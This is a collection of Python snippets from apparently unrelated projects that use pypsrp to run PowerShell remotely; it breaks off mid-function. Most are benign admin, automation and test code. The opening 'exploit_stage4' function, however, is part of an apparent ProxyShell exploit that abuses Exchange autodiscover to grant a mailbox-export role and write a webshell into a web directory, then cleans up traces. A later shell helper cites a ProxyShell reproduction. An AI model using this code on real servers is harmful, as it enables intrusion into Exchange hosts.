def exploit_stage4(target, auth_b64, alias_name, subject, fShell): logger.debug("[Stage 4] Dealing with WSMV") wsman = WSMan(server=target, port=443, path='/autodiscover/[email protected]/Powershell?X-Rps-CAT=' + auth_b64 +'&Email=autodiscover/autodiscover.json%[email protected]', ssl="true", cert_validation=False) logger.debug("[Stage 4] Dealing with PSRP") with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: logger.debug("[Stage 4] Assign Management Role") ps = PowerShell(pool) #ps.add_cmdlet("Get-User") ps.add_cmdlet("New-ManagementRoleAssignment") ps.add_parameter("Role", "Mailbox Import Export") ps.add_parameter("SecurityGroup", "Organization Management") output = ps.invoke() with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: logger.debug("[Stage 4] Exporting MailBox as Webshell") ps = PowerShell(pool) ps.add_cmdlet("New-MailboxExportRequest") ps.add_parameter("Mailbox", alias_name) ps.add_parameter("Name", subject) ps.add_parameter("ContentFilter", "Subject -eq '%s'" % (subject)) ps.add_parameter("FilePath", "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell) output = ps.invoke() logger.debug("[Stage 4] Webshell Path: c:\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell) with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: logger.debug("[Stage 4] Cleaning Notification") ps = PowerShell(pool) ps.add_script("Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false") output = ps.invoke()
def fetch( self, src: str, dest: str, configuration_name: str = DEFAULT_CONFIGURATION_NAME, expand_variables: bool = False, ) -> None: """ Will fetch a single file from the remote Windows host and create a local copy. Like copy(), this can be slow when it comes to fetching large files due to the limitation of WinRM. This method will first store the file in a temporary location before creating or replacing the file at dest if the checksum is correct. :param src: The path to the file on the remote host to fetch :param dest: The path on the localhost host to store the file as :param configuration_name: The PowerShell configuration endpoint to use when fetching the file. :param expand_variables: Expand variables in path. Disabled by default Enable for cmd like expansion (for example %TMP% in path) """ if expand_variables: dest = os.path.expanduser(os.path.expandvars(dest)) log.info("Fetching '%s' to '%s'" % (src, dest)) with RunspacePool(self.wsman, configuration_name=configuration_name) as pool: script = get_pwsh_script("fetch.ps1") powershell = PowerShell(pool) powershell.add_script(script).add_argument(src).add_argument( expand_variables) log.debug("Starting remote process to output file data") powershell.invoke() _handle_powershell_error(powershell, "Failed to fetch file %s" % src) log.debug("Finished remote process to output file data") expected_hash = powershell.output[-1] temp_file, path = tempfile.mkstemp() try: file_bytes = base64.b64decode(powershell.output[0]) os.write(temp_file, file_bytes) sha1 = hashlib.sha1() sha1.update(file_bytes) actual_hash = sha1.hexdigest() log.debug("Remote Hash: %s, Local Hash: %s" % (expected_hash, actual_hash)) if actual_hash != expected_hash: raise WinRMError("Failed to fetch file %s, hash mismatch\n" "Source: %s\nFetched: %s" % (src, expected_hash, actual_hash)) shutil.copy(path, dest) finally: os.close(temp_file) os.remove(path)
def test_psrp(self, functional_transports): for wsman in functional_transports: with RunspacePool(wsman) as pool: pool.exchange_keys() ps = PowerShell(pool) ps.add_cmdlet("Get-Item").add_parameter("Path", "C:\\Windows") ps.add_statement() sec_string = pool.serialize(u"super secret", ObjectMeta("SS")) ps.add_cmdlet("Set-Variable") ps.add_parameter("Name", "password") ps.add_parameter("Value", sec_string) ps.add_statement().add_script( "[System.Runtime.InteropServices.marshal]" "::PtrToStringAuto([System.Runtime.InteropServices.marshal]" "::SecureStringToBSTR($password))") ps.add_statement().add_cmdlet("ConvertTo-SecureString") ps.add_parameter("String", "host secret") ps.add_parameter("AsPlainText") ps.add_parameter("Force") large_string = "hello world " * 3000 ps.add_statement() ps.add_script("$VerbosePreference = 'Continue'; " "Write-Verbose '%s'" % large_string) actual = ps.invoke() assert ps.had_errors is False assert len(actual) == 3 assert str(actual[0]) == "C:\\Windows" assert actual[1] == u"super secret" assert actual[2] == u"host secret" assert str(ps.streams.verbose[0]) == large_string
def get_entries(self): dhcp_dm = [] # On a per-scope gets all the current DHCP addresses that will then be compared to those in the CSV for csv_dict in self.csv_dhcp_dm: for scope in csv_dict.keys(): # Get list of all reservations in the scope with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) # The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0" ps.add_cmdlet("Invoke-Expression").add_parameter( "Command", "Get-DhcpServerv4Reservation -scopeid {}".format( scope)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dhcp_reserv = ps.output[ 3:-2] # Elimates headers and blank lines # From the ps output create a DHCP DM of scope: [[IP], [mac], [name], [(IP, MAC, name)]] ip_name_mac = [] if len(dhcp_reserv ) == 0: # skips if no DHCP reservations in the scope pass else: for r in dhcp_reserv: ip_name_mac.append( (r.split()[0], r.split()[3][:17].lower(), r.split()[2].lower())) dhcp_dm.append({scope: ip_name_mac}) return dhcp_dm
def deploy_csv(self, type, temp_csv, win_dir): # Copy the new CSV File onto DHCP server, script will fail if it cant try: self.client_conn.copy(temp_csv, win_dir) except Exception as e: # If copy fails script fails print( "!!! Error - Could not copy CSV file to DHCP server, investigate the below error before re-running the script.\n{}" .format(e)) exit() # Add or remove DHCP entries dependant on the value of the variable 'type' with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) if type == 'add': ps.add_cmdlet("Import-Csv").add_argument("{}".format( win_dir)).add_cmdlet("Add-DhcpServerv4Reservation") elif type == 'remove': ps.add_cmdlet("Import-Csv").add_argument("{}".format( win_dir)).add_cmdlet("Remove-DhcpServerv4Reservation") ps.invoke() output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]] # Cleanup temp files os.remove(temp_csv) try: self.client_conn.execute_cmd("del {}".format( win_dir.replace( "/", "\\"))) # Windows wont take / format with the cmd except Exception as e: # If delete fails warns user print( "!!! Warning - Could not delete temporary file {} off DHCP server, you will have to do manually.\n{}" .format(win_dir, e)) return output
def failfast(self): all_zones, bad_zones = ([] for i in range(2)) # Create combined list of all forward and reverse zones for csv_dict in self.csv_dns_fw_dm: for zone in csv_dict.keys(): all_zones.append(zone) for csv_dict in self.csv_dns_rv_dm: for zone in csv_dict.keys(): all_zones.append(zone) # Interate through all zones and see if exist on DNS server for zone in all_zones: with RunspacePool(self.wsman_conn) as pool: print('-', zone) ps = PowerShell(pool) # The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0" ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerZone {}".format(zone)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dns_zones = ps.output if len(dns_zones) == 0: bad_zones.append(zone) # If any of the scopes dont not exist values are returned to main.py (which also casues script to exit) if len(bad_zones) != 0: return '!!! Error - The following zones dont exist on the DNS server: \n{}'.format(bad_zones)
def invoke_script(self, script, expect_json=False): wsman = WSMan(self.host, auth="kerberos", cert_validation=False, ssl=True) with RunspacePool(wsman, configuration_name=self.configuration_name) as pool: ps = PowerShell(pool) ps.add_script(script) ps.invoke() if ps.had_errors: error_messages = [] for i in ps.streams.error: error_messages.append(i.message) raise RuntimeError(error_messages) else: if expect_json: output = [json.loads(x) for x in ps.output] else: output = PSRP_Wrapper._convertto_json_compatible(ps.output) stream_names = [ "debug", "error", "information", "verbose", "warning" ] streams = dict() for i in stream_names: streams[i] = [] for j in getattr(ps.streams, i): streams[i].append(j.message) return {"output": output, "streams": streams}
def _connect(self): if not HAS_PYPSRP: raise AnsibleError("pypsrp or dependencies are not installed: %s" % to_native(PYPSRP_IMP_ERR)) super(Connection, self)._connect() self._build_kwargs() display.vvv("ESTABLISH PSRP CONNECTION FOR USER: %s ON PORT %s TO %s" % (self._psrp_user, self._psrp_port, self._psrp_host), host=self._psrp_host) if not self.runspace: connection = WSMan(**self._psrp_conn_kwargs) # create our pseudo host to capture the exit code and host output host_ui = PSHostUserInterface() self.host = PSHost(None, None, False, "Ansible PSRP Host", None, host_ui, None) self.runspace = RunspacePool( connection, host=self.host, configuration_name=self._psrp_configuration_name ) display.vvvvv( "PSRP OPEN RUNSPACE: auth=%s configuration=%s endpoint=%s" % (self._psrp_auth, self._psrp_configuration_name, connection.transport.endpoint), host=self._psrp_host ) try: self.runspace.open() except AuthenticationError as e: raise AnsibleConnectionFailure("failed to authenticate with " "the server: %s" % to_native(e)) except WinRMError as e: raise AnsibleConnectionFailure( "psrp connection failure during runspace open: %s" % to_native(e) ) except (ConnectionError, ConnectTimeout) as e: raise AnsibleConnectionFailure( "Failed to connect to the host via PSRP: %s" % to_native(e) ) self._connected = True self._last_pipeline = None return self
def shell(command, port): if command.lower() in ['exit', 'quit']: exit(0) wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never') with RunspacePool(wsman) as pool: ps = PowerShell(pool) ps.add_script(command) output = ps.invoke()
def execute_ps( self, script: str, configuration_name: str = DEFAULT_CONFIGURATION_NAME, environment: typing.Optional[typing.Dict[str, str]] = None, ) -> typing.Tuple[str, PSDataStreams, bool]: """ Executes a PowerShell script in a PowerShell runspace pool. This uses the PSRP layer and is designed to run a PowerShell script and not a raw executable. Because this runs in a runspace, traditional concepts like stdout, stderr, rc's are no longer relevant. Instead there is a output, error/verbose/debug streams, and a boolean that indicates if the script execution came across an error. If you want the traditional stdout/stderr/rc, use execute_cmd instead. :param script: The PowerShell script to run :param configuration_name: The PowerShell configuration endpoint to use when executing the script. :param environment: A dictionary containing environment keys and values to set on the executing script. :return: A tuple of output: A unicode string of the output stream streams: pypsrp.powershell.PSDataStreams containing the other PowerShell streams had_errors: bool that indicates whether the script had errors during execution """ log.info("Executing PowerShell script '%s'" % script) with RunspacePool(self.wsman, configuration_name=configuration_name) as pool: powershell = PowerShell(pool) if environment: for env_key, env_value in environment.items(): # Done like this for easier testing, preserves the param order log.debug("Setting env var '%s' on PS script execution" % env_key) powershell.add_cmdlet("New-Item").add_parameter( "Path", "env:").add_parameter("Name", env_key).add_parameter( "Value", env_value).add_parameter( "Force", True).add_cmdlet("Out-Null").add_statement() # so the client executes a powershell script and doesn't need to # deal with complex PS objects, we run the script in # Invoke-Expression and convert the output to a string # if a user wants to get the raw complex objects then they should # use RunspacePool and PowerShell directly powershell.add_cmdlet("Invoke-Expression").add_parameter( "Command", script) powershell.add_cmdlet("Out-String").add_parameter("Stream") powershell.invoke() return "\n".join( powershell.output), powershell.streams, powershell.had_errors
def deploy_csv(self, type, temp_csv, win_dir): win_dir1 = win_dir.replace(".csv", "1.csv") # Extra temp file required for removing DNS RV entries self.num_new_entries = str(self.num_new_entries) + '/' + str(self.num_new_entries) # To make it A/PTR records, should be same as deployed in the 1 cmd # Copy the new CSV File onto DHCP server, script will fail if it cant try: self.client_conn.copy(temp_csv, win_dir) if type == 'remove': self.client_conn.copy(self.temp_csv1, win_dir1) except Exception as e: # If copy fails script fails print("!!! Error - Could not copy CSV file to DNS server, investigate the below error before re-running the script.\n{}".format(e)) exit() # Add DNS entries if type == 'add': with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir)).add_cmdlet("Add-DNSServerResourceRecordA").add_parameter("-CreatePtr") ps.invoke() output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]] # Remove DNS entries, have to spilt into multiple cmds due to bug with "Remove-DNSServerResourceRecord" where cant use RRtype from CSV elif type == 'remove': with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir)).add_cmdlet("Remove-DNSServerResourceRecord").add_parameter("RRtype", "A").add_parameter("-Force") ps.invoke() output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]] # adds the errors as lists so can add outputs from next cmd with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir1)).add_cmdlet("Remove-DNSServerResourceRecord").add_parameter("RRtype", "PTR").add_parameter("-Force") ps.invoke() output[1].append(ps.had_errors) output[2].append(ps.streams.error) # Cleanup temp files try: os.remove(temp_csv) self.client_conn.execute_cmd("del {}".format(win_dir.replace("/", "\\"))) # Windows wont take / format with the cmd if type == 'remove': os.remove(self.temp_csv1) self.client_conn.execute_cmd("del {}".format(win_dir1.replace("/", "\\"))) # Windows wont take / format with the cmd except Exception as e: # If delete fails warns user print("!!! Warning - Could not delete temporary files off DNS server, you will have to do manually.\n{}".format(e)) return output
def get_entries(self): dns_fw_dm, dns_rv_dm = ([] for i in range(2)) # On a per-zone basis gets all the current DNS entries that will then be compared to those in the CSV for csv_dns_fw in self.csv_dns_fw_dm : for domain in csv_dns_fw.keys(): with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) # The powershell cmd is "Get-DnsServerResourceRecord -ZoneName stesworld.com -RRType A" ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerResourceRecord -ZoneName {} -RRType A".format(domain)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dns_fw_records = ps.output # From the ps output create a list for the dns_fw DM dict value [('ip', 'name', ttl)] ip_name_ttl = [] if len(dns_fw_records) == 0: # skips if no A records in the zone pass else: for a in dns_fw_records[3:-2]: # Elimates headers and trailing blank lines a = a.split() ip_name_ttl .append((a[-1], a[0].lower(), a[-2])) # Add the list as the value for for a dict where the zone name is the key [{fw_zone: [(ip, name, ttl)]}] dns_fw_dm.append({domain: ip_name_ttl}) # On a per-reverse-zone basis gets all the current DNS entries that will then be compared to those in the CSV for csv_dns_rv in self.csv_dns_rv_dm: for rev_zone in csv_dns_rv.keys(): with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerResourceRecord -ZoneName {} -RRType PTR".format(rev_zone)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dns_rv_records = ps.output hst_name = [] if len(dns_rv_records) == 0: # skips if no PTR records in the zone pass else: for ptr in dns_rv_records[3:-2]: ptr = ptr.split() hst_name.append((ptr[0], ptr[-1].lower())) dns_rv_dm.append({rev_zone: hst_name}) # creates DM where rv_zone name is the key [{rv_zone: [(host, domain_name)]}] return [dns_fw_dm, dns_rv_dm]
def connectionscriptall(self,scriptname): try: with RunspacePool(self.wsman, configuration_name="Microsoft.Exchange") as pool: ps = PowerShell(pool).add_script(scriptname) output = ps.invoke() if not ps.had_errors and not ps.streams.error: self.message,self.isSuccess,self.count = [i.adapted_properties for i in output],True,len(output) else: self.code,self.msg = 201,"%s".join([str(s) for s in ps.streams.error]) except Exception as e: self.msg,self.code = e,201
async def start_vm(info: VMInfo): """ Invoke command to start virtual machine with given VM ID :param info: VM ID of virtual machine to be started """ with RunspacePool(connection=WSMan(**connection_settings)) as pool: ps = PowerShell(pool) ps.add_script("$server = Get-SCVMMServer -ComputerName localhost" ).add_script("Get-SCVirtualMachine -VMMServer $server |" " ? {$_.VMId -eq \"" + info.vmid + "\" } |" " Start-SCVirtualMachine").begin_invoke()
def main(host, username, password, command): wsman = WSMan(host, username=username, password=password, cert_validation=False) with RunspacePool(wsman) as pool: ps = PowerShell(pool) ps.add_cmdlet(command) ps.invoke() print(ps.output[0])
def test_psrp_pshost_methods(self, wsman_conn): host = PSHost(None, None, False, "host name", None, None, "1.0") with RunspacePool(wsman_conn, host=host) as pool: ps = PowerShell(pool) # SetShouldExit is really the only one that seems to work so # we will just test that ps.add_script('$host.CurrentCulture; $host.SetShouldExit(1)') actual = ps.invoke() assert len(actual) == 1 assert str(actual[0]) == "en-US" assert isinstance(actual[0], CultureInfo) assert host.rc == 1
def connectionscript(self,scriptname,**kwargs): scriptparameter = list() [scriptparameter.extend(["-" + i, kwargs[i]]) for i in kwargs] script = scriptname + " " + " ".join(scriptparameter) try: with RunspacePool(self.wsman, configuration_name="Microsoft.Exchange") as pool: ps = PowerShell(pool).add_script(script + " -Confirm:$false") output = ps.invoke() if not ps.had_errors and not ps.streams.error: self.message,self.isSuccess,self.count = [i.adapted_properties for i in output],True,len(output) else: self.code,self.msg = 201,"%s".join([str(s) for s in ps.streams.error]) except Exception as e: self.msg,self.code = e,201
def shell(command, port): # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ if command.lower() in ['exit', 'quit']: exit() wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never') with RunspacePool(wsman) as pool: ps = PowerShell(pool) ps.add_script(command) output = ps.invoke() print("OUTPUT:\n%s" % "\n".join([str(s) for s in output])) print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
def test_pshost_methods(self): wsman = WSMan("server") runspace = RunspacePool(wsman) host = PSHost(CultureInfo(), CultureInfo(), True, "name", None, None, "1.0") assert host.GetName(None, None) == "name" actual_version = host.GetVersion(runspace, None) assert actual_version.text == "1.0" assert actual_version.tag == "Version" assert isinstance(host.GetInstanceId(None, None), uuid.UUID) assert isinstance(host.GetCurrentCulture(None, None), CultureInfo) assert isinstance(host.GetCurrentUICulture(None, None), CultureInfo) host.NotifyBeginApplication(None, None) host.NotifyEndApplication(None, None)
def exservertest(**kwargs): try: wsman = WSMan(server=kwargs['exip'], port=80, path="/powershell/",ssl=False,username=kwargs['domain'] + "\\" + kwargs['exaccount'] , password=kwargs['expassword'],auth="basic",encryption='never') with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: ps = PowerShell(pool).add_cmdlet('Get-ExchangeServer') output = ps.invoke() if not ps.had_errors and not ps.streams.error: data = {'isSuccess':True} else: data = {'isSuccess':False} # allurl = 'http://'+getskey()['iisserver']+':'+getskey()['iisport']+'//api/ad/testexlink' # u = requests.get(allurl,params=kwargs) # data = u.json() return data except Exception as e: return False
def get_conn(self) -> RunspacePool: """ Returns a runspace pool. The returned object must be used as a context manager. """ conn = self.get_connection(self.conn_id) self.log.info("Establishing WinRM connection %s to host: %s", self.conn_id, conn.host) extra = conn.extra_dejson.copy() def apply_extra(d, keys): d = d.copy() for key in keys: value = extra.pop(key, None) if value is not None: d[key] = value return d wsman_options = apply_extra( self._wsman_options, ( "auth", "cert_validation", "connection_timeout", "locale", "read_timeout", "reconnection_retries", "reconnection_backoff", "ssl", ), ) wsman = WSMan(conn.host, username=conn.login, password=conn.password, **wsman_options) runspace_options = apply_extra(self._runspace_options, ("configuration_name", )) if extra: raise AirflowException( f"Unexpected extra configuration keys: {', '.join(sorted(extra))}" ) pool = RunspacePool(wsman, **runspace_options) self._wsman_ref[pool] = wsman return pool
def GetVersion( self, runspace: RunspacePool, pipeline: typing.Optional[PowerShell], ) -> typing.Optional[ET.Element]: """ MI: 2 SHOULD return the version number of the hosting application. https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.version :param runspace: The runspace the host call relates to :param pipeline: The pipeline (if any) that the call relates to :return: Version number of the hosting application """ meta = ObjectMeta("Version") value = runspace.serialize(self.version, meta) return value
async def list_vms(domain: str, username: str): """ Returns a list of available virtual machines for given user :param domain: NTDOMAIN of the user :param username: username of the user :return: list of dicts with virtual machines data """ domain = domain.upper() username = username.lower() if LIST_SCRIPT is None: return Response(status_code=500, content="Server error: script not found.") with RunspacePool(connection=WSMan(**connection_settings)) as lpool: ps = PowerShell(lpool) ps.add_script( script=LIST_SCRIPT).add_argument(domain).add_argument(username) try: psresult = ps.invoke() except ReadTimeout: return Response(status_code=504, content="SCVMM is not available now.") if len(psresult) == 0 and ps.had_errors: return Response(status_code=500, content="SCVMM-API internal error occured.") if psresult: logging.info( f"Data for {domain}\\{username} returned, length: {len(psresult)}") return [ VM(Name=x.extended_properties.get("Name", "-"), ID=x.extended_properties.get("VMId", "-"), VirtualMachineState=x.extended_properties.get( 'VirtualMachineState', "-"), MostRecentTask=x.extended_properties.get('MostRecentTask', "-"), MostRecentTaskUIState=x.extended_properties.get( 'MostRecentTaskUIState', "-"), VMHost=x.extended_properties.get('VMHost', "-")) for x in psresult ]
def failfast(self): bad_scopes = [] for csv_dict in self.csv_dhcp_dm: for scope in csv_dict.keys(): print('-', scope) # Get list of all reservations in the scope with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) # The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0" ps.add_cmdlet("Invoke-Expression").add_parameter( "Command", "Get-DhcpServerv4Scope -scopeid {}".format(scope)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dhcp_reserv = ps.output if len(dhcp_reserv) == 0: bad_scopes.append(scope) # If any of the scopes dont not exist values are returned to main.py (which also casues script to exit) if len(bad_scopes) != 0: return '!!! Error - The following scopes dont exist on the DHCP server: \n{}'.format( bad_scopes)
def test_psrp_jea(self, functional_transports): for wsman in functional_transports: with RunspacePool(wsman, configuration_name="JEARole") as pool: ps = PowerShell(pool) wsman_path = "WSMan:\\localhost\\Service\\AllowUnencrypted" ps.add_cmdlet("Get-Item").add_parameter("Path", wsman_path) ps.add_statement() ps.add_cmdlet("Set-Item").add_parameters({ "Path": wsman_path, "Value": "True" }) actual = ps.invoke() assert ps.had_errors is True assert len(actual) == 1 assert actual[0].property_sets[0].adapted_properties['Value'] == \ 'false' assert str(ps.streams.error[0]) == \ "The term 'Set-Item' is not recognized as the name of a " \ "cmdlet, function, script file, or operable program. Check " \ "the spelling of the name, or if a path was included, " \ "verify that the path is correct and try again."
def check_creds(host, username, password, domain): has_access = False try: username = '******' % (domain, username) wsman = WSMan(host, username=username, password=password, ssl=False, auth='ntlm') with RunspacePool(wsman) as pool: ps = PowerShell(pool) ps.add_cmdlet('Invoke-Expression')\ .add_parameter('Command', 'whoami') ps.begin_invoke() while ps.output is None or ps.output == '': ps.poll_invoke() ps.end_invoke() if len(ps.output) > 0: has_access = True except: has_access = False return has_access
def invoke_powershell(self, script: str) -> PowerShell: with RunspacePool(self._client) as pool: ps = PowerShell(pool) ps.add_script(script) ps.begin_invoke() streams = [ (ps.output, self._log_output), (ps.streams.debug, self._log_record), (ps.streams.information, self._log_record), (ps.streams.error, self._log_record), ] offsets = [0 for _ in streams] # We're using polling to make sure output and streams are # handled while the process is running. while ps.state == PSInvocationState.RUNNING: sleep(self._poll_interval) ps.poll_invoke() for (i, (stream, handler)) in enumerate(streams): offset = offsets[i] while len(stream) > offset: handler(stream[offset]) offset += 1 offsets[i] = offset # For good measure, we'll make sure the process has # stopped running. ps.end_invoke() if ps.streams.error: raise AirflowException("Process had one or more errors") self.log.info("Invocation state: %s", str(PSInvocationState(ps.state))) return ps
def execute_ps(self, script): """ Executes a PowerShell script in a PowerShell runspace pool. This uses the PSRP layer and is designed to run a PowerShell script and not a raw executable. Because this runs in a runspace, traditional concepts like stdout, stderr, rc's are no longer relevant. Instead there is a output, error/verbose/debug streams, and a boolean that indicates if the script execution came across an error. If you want the traditional stdout/stderr/rc, use execute_cmd instead. :param script: The PowerShell script to run :return: A tuple of output: A unicode string of the output stream streams: pypsrp.powershell.PSDataStreams containing the other PowerShell streams had_errors: bool that indicates whether the script had errors during execution """ log.info("Executing PowerShell script '%s'" % script) with RunspacePool(self.wsman) as pool: powershell = PowerShell(pool) # so the client executes a powershell script and doesn't need to # deal with complex PS objects, we run the script in # Invoke-Expression and convert the output to a string # if a user wants to get the raw complex objects then they should # use RunspacePool and PowerShell directly powershell.add_cmdlet("Invoke-Expression").add_parameter("Command", script) powershell.add_cmdlet("Out-String").add_parameter("Stream") powershell.invoke() return "\n".join(powershell.output), powershell.streams, \ powershell.had_errors
class Connection(ConnectionBase): transport = 'psrp' module_implementation_preferences = ('.ps1', '.exe', '') allow_executable = False has_pipelining = True allow_extras = True def __init__(self, *args, **kwargs): self.always_pipeline_modules = True self.has_native_async = True self.runspace = None self.host = None self._shell_type = 'powershell' super(Connection, self).__init__(*args, **kwargs) if not C.DEFAULT_DEBUG: logging.getLogger('pypsrp').setLevel(logging.WARNING) logging.getLogger('requests_credssp').setLevel(logging.INFO) logging.getLogger('urllib3').setLevel(logging.INFO) def _connect(self): if not HAS_PYPSRP: raise AnsibleError("pypsrp or dependencies are not installed: %s" % to_native(PYPSRP_IMP_ERR)) super(Connection, self)._connect() self._build_kwargs() display.vvv("ESTABLISH PSRP CONNECTION FOR USER: %s ON PORT %s TO %s" % (self._psrp_user, self._psrp_port, self._psrp_host), host=self._psrp_host) if not self.runspace: connection = WSMan(**self._psrp_conn_kwargs) # create our psuedo host to capture the exit code and host output host_ui = PSHostUserInterface() self.host = PSHost(None, None, False, "Ansible PSRP Host", None, host_ui, None) self.runspace = RunspacePool( connection, host=self.host, configuration_name=self._psrp_configuration_name ) display.vvvvv( "PSRP OPEN RUNSPACE: auth=%s configuration=%s endpoint=%s" % (self._psrp_auth, self._psrp_configuration_name, connection.transport.endpoint), host=self._psrp_host ) try: self.runspace.open() except AuthenticationError as e: raise AnsibleConnectionFailure("failed to authenticate with " "the server: %s" % to_native(e)) except WinRMError as e: raise AnsibleConnectionFailure( "psrp connection failure during runspace open: %s" % to_native(e) ) except (ConnectionError, ConnectTimeout) as e: raise AnsibleConnectionFailure( "Failed to connect to the host via PSRP: %s" % to_native(e) ) self._connected = True return self def reset(self): display.vvvvv("PSRP: Reset Connection", host=self._psrp_host) self.runspace = None self._connect() def exec_command(self, cmd, in_data=None, sudoable=True): super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable) if cmd.startswith(" ".join(_common_args) + " -EncodedCommand"): # This is a PowerShell script encoded by the shell plugin, we will # decode the script and execute it in the runspace instead of # starting a new interpreter to save on time b_command = base64.b64decode(cmd.split(" ")[-1]) script = to_text(b_command, 'utf-16-le') in_data = to_text(in_data, errors="surrogate_or_strict", nonstring="passthru") if in_data and in_data.startswith(u"#!"): # ANSIBALLZ wrapper, we need to get the interpreter and execute # that as the script - note this won't work as basic.py relies # on packages not available on Windows, once fixed we can enable # this path interpreter = to_native(in_data.splitlines()[0][2:]) # script = "$input | &'%s' -" % interpreter # in_data = to_text(in_data) raise AnsibleError("cannot run the interpreter '%s' on the psrp " "connection plugin" % interpreter) # call build_module_command to get the bootstrap wrapper text bootstrap_wrapper = self._shell.build_module_command('', '', '') if bootstrap_wrapper == cmd: # Do not display to the user each invocation of the bootstrap wrapper display.vvv("PSRP: EXEC (via pipeline wrapper)") else: display.vvv("PSRP: EXEC %s" % script, host=self._psrp_host) else: # In other cases we want to execute the cmd as the script. We add on the 'exit $LASTEXITCODE' to ensure the # rc is propagated back to the connection plugin. script = to_text(u"%s\nexit $LASTEXITCODE" % cmd) display.vvv(u"PSRP: EXEC %s" % script, host=self._psrp_host) rc, stdout, stderr = self._exec_psrp_script(script, in_data) return rc, stdout, stderr def put_file(self, in_path, out_path): super(Connection, self).put_file(in_path, out_path) display.vvv("PUT %s TO %s" % (in_path, out_path), host=self._psrp_host) out_path = self._shell._unquote(out_path) script = u'''begin { $ErrorActionPreference = "Stop" $path = '%s' $fd = [System.IO.File]::Create($path) $algo = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create() $bytes = @() } process { $bytes = [System.Convert]::FromBase64String($input) $algo.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) > $null $fd.Write($bytes, 0, $bytes.Length) } end { $fd.Close() $algo.TransformFinalBlock($bytes, 0, 0) > $null $hash = [System.BitConverter]::ToString($algo.Hash) $hash = $hash.Replace("-", "").ToLowerInvariant() Write-Output -InputObject "{`"sha1`":`"$hash`"}" }''' % self._shell._escape(out_path) cmd_parts = self._shell._encode_script(script, as_list=True, strict_mode=False, preserve_rc=False) b_in_path = to_bytes(in_path, errors='surrogate_or_strict') if not os.path.exists(b_in_path): raise AnsibleFileNotFound('file or module does not exist: "%s"' % to_native(in_path)) in_size = os.path.getsize(b_in_path) buffer_size = int(self.runspace.connection.max_payload_size / 4 * 3) # copying files is faster when using the raw WinRM shell and not PSRP # we will create a WinRS shell just for this process # TODO: speed this up as there is overhead creating a shell for this with WinRS(self.runspace.connection, codepage=65001) as shell: process = Process(shell, cmd_parts[0], cmd_parts[1:]) process.begin_invoke() offset = 0 with open(b_in_path, 'rb') as src_file: for data in iter((lambda: src_file.read(buffer_size)), b""): offset += len(data) display.vvvvv("PSRP PUT %s to %s (offset=%d, size=%d" % (in_path, out_path, offset, len(data)), host=self._psrp_host) b64_data = base64.b64encode(data) + b"\r\n" process.send(b64_data, end=(src_file.tell() == in_size)) # the file was empty, return empty buffer if offset == 0: process.send(b"", end=True) process.end_invoke() process.signal(SignalCode.CTRL_C) if process.rc != 0: raise AnsibleError(to_native(process.stderr)) put_output = json.loads(process.stdout) remote_sha1 = put_output.get("sha1") if not remote_sha1: raise AnsibleError("Remote sha1 was not returned, stdout: '%s', " "stderr: '%s'" % (to_native(process.stdout), to_native(process.stderr))) local_sha1 = secure_hash(in_path) if not remote_sha1 == local_sha1: raise AnsibleError("Remote sha1 hash %s does not match local hash " "%s" % (to_native(remote_sha1), to_native(local_sha1))) def fetch_file(self, in_path, out_path): super(Connection, self).fetch_file(in_path, out_path) display.vvv("FETCH %s TO %s" % (in_path, out_path), host=self._psrp_host) in_path = self._shell._unquote(in_path) out_path = out_path.replace('\\', '/') # because we are dealing with base64 data we need to get the max size # of the bytes that the base64 size would equal max_b64_size = int(self.runspace.connection.max_payload_size - (self.runspace.connection.max_payload_size / 4 * 3)) buffer_size = max_b64_size - (max_b64_size % 1024) # setup the file stream with read only mode setup_script = '''$ErrorActionPreference = "Stop" $path = '%s' if (Test-Path -Path $path -PathType Leaf) { $fs = New-Object -TypeName System.IO.FileStream -ArgumentList @( $path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read ) $buffer_size = %d } elseif (Test-Path -Path $path -PathType Container) { Write-Output -InputObject "[DIR]" } else { Write-Error -Message "$path does not exist" $host.SetShouldExit(1) }''' % (self._shell._escape(in_path), 